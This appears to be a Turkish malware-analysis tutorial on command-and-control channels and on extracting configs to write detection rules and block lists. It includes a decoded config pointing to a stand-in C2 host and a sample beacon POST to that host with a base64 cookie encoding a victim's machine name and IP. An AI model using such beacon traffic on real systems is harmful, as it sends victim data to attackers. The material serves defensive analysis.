Komuta kanalı ve yapılandırma çıkarma

Çoğu zararlı yazılım tek başına iş yapmaz. Kurulduktan sonra bir sunucuya bağlanır ve emir bekler. Bu ilişkiye komuta ve kontrol denir. Kanalın adresi ve kuralları yapılandırmada yazılıdır.

Yapılandırma çoğu zaman şifreli bir blok halinde dosyaya gömülür. İçinde adres listesi, bağlantı aralığı, kampanya etiketi ve şifreleme anahtarı durur. Bu bloğu çıkarmak analizin en değerli çıktısıdır.

$ xxd config.bin | head -3
00000000: 7b22 6332 223a 2268 7474 703a 2f2f 6332  {"c2":"http://c2
00000010: 2e6f 726e 656b 2e65 7861 6d70 6c65 222c  .ornek.example",
00000020: 2273 696b 6c75 7322 3a36 307d            "siklus":60}

Örnekteki dökümde sağ sütun okunabilir karakterleri gösterir ve JSON benzeri bir yapı hemen görülür: c2 alanı adresi, siklus alanı ise bağlantı aralığını saniye cinsinden taşır. Gerçek örneklerde bu blok çoğu zaman şifrelenmiş durur ve önce çözülmesi gerekir; burada çözülmüş hali gösterilir ki alanların anlamı netleşsin. Analiz sırasında ilk iş, bu bloğun dosyanın neresinde durduğunu ve hangi anahtarla korunduğunu bulmaktır. Bu iki bilgi, tespit kuralı yazarken doğrudan kullanılır.

Çıkarmanın iki yolu vardır. Statik yolda şifreli bloğu bulur, çözme yordamını tersine çevirir ve anahtarı elde edersin. Bu yol zaman alır ama karşılığında bir çözücü betik yazarsın ve tüm aileye uygularsın.

Dinamik yolda ise sonucu beklersin. Çözme yordamının dönüşüne kesme noktası koyar ve belleği okursun. Hızlıdır. Ama tek örneği çözer, yeni sürümde aynı işi yeniden yaparsın.

POST /api/ping HTTP/1.1
Host: c2.ornek.example
User-Agent: Mozilla/5.0
Cookie: sid=YWxpLXBjfDEwLjAuMC41
Content-Length: 0

Kanalın kendisi de incelenir. Protokol HTTP, DNS ya da düz soket olabilir. HTTP en sık görülendir çünkü normal trafiğin içinde kaybolur. DNS ise sıkı ağlarda bile çoğu zaman açık kalır.

Yanıtların biçimi de ipucu verir. Sunucu emirleri kısa kodlarla yollar. Bir sayı dosya indirmeyi, bir başkası komut çalıştırmayı anlatır. Bu kod tablosunu çıkarmak, ailenin yeteneklerinin tam listesini verir.

Kampanya etiketi çoğu zaman gözden kaçar. Yapılandırmada duran kısa bir dize, örneğin hangi dağıtım dalgasına ait olduğunu söyler. Aynı etiketin başka olaylarda görünmesi, olayları tek aktöre bağlar.

Yedek kanallar da yapılandırmada durur. Ana adres çalışmazsa ikinci, hatta üçüncü yol denenir. Bazı aileler yedek olarak açık platformlardaki gönderileri kullanır ve adresi oradan okur.

Uyuma penceresi de tanımlıdır. Ajan belirli saatler arasında sessiz kalabilir. Bu pencere, kurban ülkesinin mesai saatlerine göre ayarlanır ve hedeflemeyi ele verir.

Yapılandırma çıkarmak analizin en çok getiri veren adımıdır. Tek bir blok, adresi, aralığı, etiketi ve anahtarı birlikte verir. Bu dört değer hem tespit kuralını hem olay müdahalesini besler. Bu yüzden zamanının çoğunu buraya ayırırsın.

İstekleri okurken veri taşıyan alanları ararsın. Yol parçası, sorgu dizesi, çerez ve tarayıcı kimliği hep kullanılır. Kodlanmış görünen her değeri çözer ve içinden kurban bilgisi çıkıp çıkmadığına bakarsın.

Bazı aileler tek adrese bağlı kalmaz. Alan adı üretim algoritması her gün yeni adlar hesaplar. Ajan sırayla dener, biri yanıt verince onunla konuşur. Bu yapı, tek adres engellemeyi etkisiz kılar.

Yapılandırmadan çıkan her değer göstergeye dönüşür. Adres, alan adı, yol, kampanya etiketi ve aralık. Bunlar rapora girer ve engelleme listesine aynen aktarılır.

Bu çalışma yine laboratuvarda yapılır. Kanalı incelemek için gerçek sunucuya bağlanmak gerekmez; taklit servis çoğu durumda yeterli yanıtı üretir.

Bu dört değer birlikte kullanılınca güçlü bir arama ölçütü kurar. Adres tek başına değişebilir ama kampanya etiketi ve kalp atışı aralığı çoğu zaman aynı kalır.